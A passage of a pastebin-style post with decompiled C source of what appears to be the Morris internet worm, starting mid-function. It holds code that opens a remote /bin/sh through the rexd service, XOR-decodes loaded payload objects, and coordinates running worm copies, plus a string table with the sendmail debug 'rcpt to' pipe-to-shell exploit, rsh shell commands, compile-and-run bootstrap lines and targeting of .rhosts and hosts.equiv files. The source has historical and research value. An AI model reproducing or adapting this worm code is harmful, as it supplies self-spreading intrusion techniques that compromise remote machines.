  846.      continue; /* 754 */
  847.  s = socket(AF_INET, SOCK_STREAM, 0);
  848.  if (s < 0)
  849.      continue;
  850.  bzero(&sin, sizeof(sin)); /* 16 */
  851.  sin.sin_family = AF_INET;
  852.  sin.sin_addr.s_addr = host->o48[i];
  853.  sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */
  854.  alarm(8);
  855.  signal(SIGALRM, justreturn);
  856.  if (connect(s, &sin, sizeof(sin)) < 0) {
  857.      alarm(0);
  858.      close(s);
  859.      continue;
  860.  }
  861.  alarm(0);
  862.  break;
  863.     }
  864.     if (i >= 6)
  865.  return -2; /* 1048 */
  866.     /* Check out the connection by writing a null */
  867.     if (write(s, XS(""), 1) == 1) {
  868.  /* Tell the remote execution deamon the hostname, username, and to star
  869. tup
  870.     "/bin/sh". */
  871.  write(s, name1, strlen(name1) + 1);
  872.  write(s, name2, strlen(name2) + 1);
  873.  if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
  874.      xread(s, in_buf, 1, 20) == 1  &&
  875.      in_buf[0] == '\0' &&
  876.      test_connection(s, s, 40) != 0)
  877.      return s;
  878.     }
  879.     close(s);
  880.     return -1;
  881. }
  882. /* Reads in a file and puts it in the 'objects' array.  Returns 1 if sucessful
  883. ,
  884.  * 0 if not. */
  885. loadobject(obj_name) /* x5594 */
  886.      char *obj_name;
  887. {
  888.     int fd;
  889.     unsigned long size;
  890.     struct stat statbuf;
  891.     char *object_buf, *suffix;
  892.     char local[4];
  893.     fd = open(obj_name, O_RDONLY);
  894.     if (fd < 0)
  895.  return 0; /* 378 */
  896.     if (fstat(fd, &statbuf) < 0) {
  897.  close(fd);
  898.  return 0;
  899.     }
  900.     size = statbuf.st_size;
  901.     object_buf = malloc(size);
  902.     if (object_buf == 0) {
  903.  close(fd);
  904.  return 0;
  905.     }
  906.     if (read(fd, object_buf, size) != size) {
  907.  free(object_buf);
  908.  close(fd);
  909.  return 0;
  910.     }
  911.     close(fd);
  912.     xorbuf(object_buf, size);
  913.     suffix = index(obj_name, ',');
  914.     if (suffix != NULL)
  915.  suffix+=1;
  916.     else
  917.  suffix = obj_name;
  918.     objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
  919.     objects[nobjects].size = size;
  920.     objects[nobjects].buf = object_buf;
  921.     nobjects += 1;
  922.     return 1;
  923. }
  924. /* Returns the object from the 'objects' array that has name, otherwise NULL.
  925. */
  926. object *getobjectbyname(name)
  927.      char *name;
  928. {
  929.     int i;
  930.     for (i = 0; i < nobjects; i++)
  931.  if (strcmp(name, objects[i].name) == 0)
  932.      return &objects[i];
  933.     return NULL;
  934. }
  935. /* Encodes and decodes the binary coming over the socket. */
  936. xorbuf(buf, size) /* 0x577e */
  937.      char *buf;
  938.      unsigned long size;
  939. {
  940.     char *addr_self; /* The address of the xorbuf fuction */
  941.     int i;
  942.     addr_self = (char *)xorbuf;
  943.     i = 0;
  944.     while (size-- > 0) {
  945.  *buf++ ^= addr_self[i];
  946.  i = (i+1) % 10;
  947.     }
  948.     return;
  949. }
  950. static other_fd = -1;
  951. /* Make a connection to the local machine and see if I'm running in
  952.    another process by sending a magic number on a random port and waiting
  953.    five minutes for a reply. */
  954. checkother() /* 0x57d0 */
  955. {
  956.     int s, l8, l12, l16, optval;
  957.     struct sockaddr_in sin; /* 16 bytes */
  958.     optval = 1;
  959.     if ((random() % 7) == 3)
  960.  return; /* 612 */
  961.     s = socket(AF_INET, SOCK_STREAM, 0);
  962.     if (s < 0)
  963.  return;
  964.     /* Make a socket to the localhost, using a link-time specific port */
  965.     bzero(&sin, sizeof(sin)); /* 16 */
  966.     sin.sin_family = AF_INET;
  967.     sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
  968.     sin.sin_port = 0x00005b3d; /* ??? */
  969.     if (connect(s, &sin, sizeof(sin)) < 0) {
  970.  close(s);
  971.     } else {
  972.  l8 = MAGIC_2; /* Magic number??? */
  973.  if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
  974.      close(s);
  975.      return;
  976.  }
  977.  l8 = 0;
  978.  if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
  979.      close(s);
  980.      return;
  981.  }
  982.  if (l8 != MAGIC_1) {
  983.      close(s);
  984.      return;
  985.  }
  986.  l12 = random()/8;
  987.  if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
  988.      close(s);
  989.      return;
  990.  }
  991.  if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
  992.      close(s);
  993.      return;
  994.  }
  995.  if (!((l12+l16) % 2))
  996.      pleasequit++;
  997.  close(s);
  998.     }
  999.     sleep(5);
  1000.     s = socket(AF_INET, SOCK_STREAM, 0);
  1001.     if (s < 0)
  1002.  return;
  1003.     /* Set the socket so that the address may be reused */
  1004.     setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
  1005.     if (bind(s, &sin, sizeof(sin)) < 0) {
  1006.  close(s);
  1007.  return;
  1008.     }
  1009.     listen(s, 10);
  1010.     other_fd = s;
  1011.     return;
  1012. }
  1013. /* Sleep, waiting for another worm to contact me. */
  1014. other_sleep(how_long) /* 0x5a38 */
  1015. {
  1016.     int nfds, readmask;
  1017.     long time1, time2;
  1018.     struct timeval timeout;
  1019.     if (other_fd < 0) {
  1020.  if (how_long != 0)
  1021.      sleep(how_long);
  1022.  return;
  1023.     }
  1024.     /* Check once again.. */
  1025.     do {
  1026.  if (other_fd < 0)
  1027.      return;
  1028.  readmask = 1 << other_fd;
  1029.  if (how_long < 0)
  1030.      how_long = 0;
  1031.  timeout.tv_sec = how_long;
  1032.  timeout.tv_usec = 0;
  1033.  if (how_long != 0)
  1034.      time(&time1);
  1035.  nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
  1036.  if (nfds < 0)
  1037.      sleep(1);
  1038.  if (readmask != 0)
  1039.      answer_other();
  1040.  if (how_long != 0) {
  1041.      time(&time2);
  1042.      how_long -= time2 - time1;
  1043.  }
  1044.     } while (how_long > 0);
  1045.     return;
  1046. }
  1047. static answer_other() /* 0x5b14 */
  1048. {
  1049.     int ns, addrlen, magic_holder, magic1, magic2;
  1050.     struct sockaddr_in sin; /* 16 bytes */
  1051.     addrlen = sizeof(sin);
  1052.     ns = accept(other_fd, &sin, &addrlen);
  1053.     if (ns < 0)
  1054.  return; /* 620 */
  1055.     magic_holder = MAGIC_1;
  1056.     if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
  1057. ) {
  1058.  close(ns);
  1059.  return;
  1060.     }
  1061.     if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
  1062.  close(ns);
  1063.  return;
  1064.     }
  1065.     if (magic_holder != MAGIC_2) {
  1066.  close(ns);
  1067.  return;
  1068.     }
  1069.     magic1 = random() / 8;
  1070.     if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
  1071.  close(ns);
  1072.  return;
  1073.     }
  1074.     if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
  1075.  close(ns);
  1076.  return;
  1077.     }
  1078.     close(ns);
  1079.     if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
  1080.  return;
  1081.     if (((magic1+magic2) % 2) != 0) {
  1082.  close(other_fd);
  1083.  other_fd = -1;
  1084.  pleasequit++;
  1085.     }
  1086.     return;
  1087. }
  1088. /* A timeout-based read. */
  1089. xread(fd, buf, length, time) /* 0x5ca8 */
  1090.      int fd, time;
  1091.      char *buf;
  1092.      unsigned long length;
  1093. {
  1094.     int i, cc, readmask;
  1095.     struct timeval timeout;
  1096.     int nfds;
  1097.     long time1, time2;
  1098.     for (i = 0; i < length; i++) {  /* 150 */
  1099.  readmask = 1 << fd;
  1100.  timeout.tv_sec = time;
  1101.  timeout.tv_usec = 0;
  1102.  if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
  1103.      return 0; /* 156 */
  1104.  if (readmask == 0)
  1105.      return 0;
  1106.  if (read(fd, &buf[i], 1) != 1)
  1107.      return 0;
  1108.     }
  1109.     return i;
  1110. }
  1111. /* These are some of the strings that are encyphed in the binary.  The
  1112.  * person that wrote the program probably used the Berkeley 'xstr' program
  1113.  * to extract and encypher the strings.
  1114.  */
  1115. #ifdef notdef
  1116. char environ[50] = "";
  1117. char *sh = "sh";
  1118. char *env52 = "sh"; /* 0x20034, <environ+52> */
  1119. char *env55 = "-p";
  1120. char *env58 = "l1.c";
  1121. char *env63 = "sh";
  1122. char *env66 = "/tmp/.dump";
  1123. char *env77 = "128.32.137.13";
  1124. char *env91 = "127.0.0.1";
  1125. char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */
  1126. char *env125 = "r";
  1127. char *env127 = "%s%s";
  1128. #endif /* notdef*/
  1129. /*
  1130.   char *text =
  1131.   "default
  1132.   0.0.0.0
  1133.   127.0.0.1
  1134.   exec /bin/sh
  1135.   l1.c
  1136.   PATH=/bin:/usr/bin:/usr/ucb
  1137.   cd /usr/tmp
  1138.   x%d.c
  1139.   echo gorch49;sed '/int zz;/q' > %s;echo gorch50
  1140.   gorch49
  1141.   int zz;
  1142.   gorch50
  1143.   cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
  1144.   DONE
  1145.   x%d,%s
  1146.   PATH=/bin:/usr/bin:/usr/ucb
  1147.   rm -f sh
  1148.   if [ -f sh ]
  1149.   then
  1150.   P=x%d
  1151.   else
  1152.   P=sh
  1153.   cc -o $P %s
  1154.   ./$P -p $$
  1155.   rm -f $P
  1156.   rm -f %s $P
  1157.   l1.c
  1158.   cd /usr/tmp
  1159.   x%d.c
  1160.   cat > %s <<'EOF'
  1161.   cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
  1162.   /usr/ucb/rsh
  1163.   /usr/bin/rsh
  1164.   /bin/rsh
  1165.   /bin/echo %s
  1166.   debug
  1167.   mail from:</dev/null>
  1168.   rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
  1169.   data
  1170.   quit
  1171.   quit
  1172.   exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
  1173.   /bin/sh
  1174.   /bin/sh
  1175.   127.0.0.1
  1176.   127.0.0.1
  1177.   /etc/hosts.equiv
  1178.   %.100s
  1179.   /.rhosts
  1180.   %.200s/.forward
  1181.   %.20s%.20s
  1182.   %[^ ,]
  1183.   %*s %[^ ,]s
  1184.   %.200s/.forward
  1185.   %.200s/.rhosts
  1186.   %s%s
  1187.   /usr/dict/words";
  1188.   */
  1189. /*
  1190.  * Local variables:
  1191.  * compile-command: "cc -S hs.c"
  1192.  * comment-column: 48
  1193.  * End:
  1194.  */
Tags: worm ccsh
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement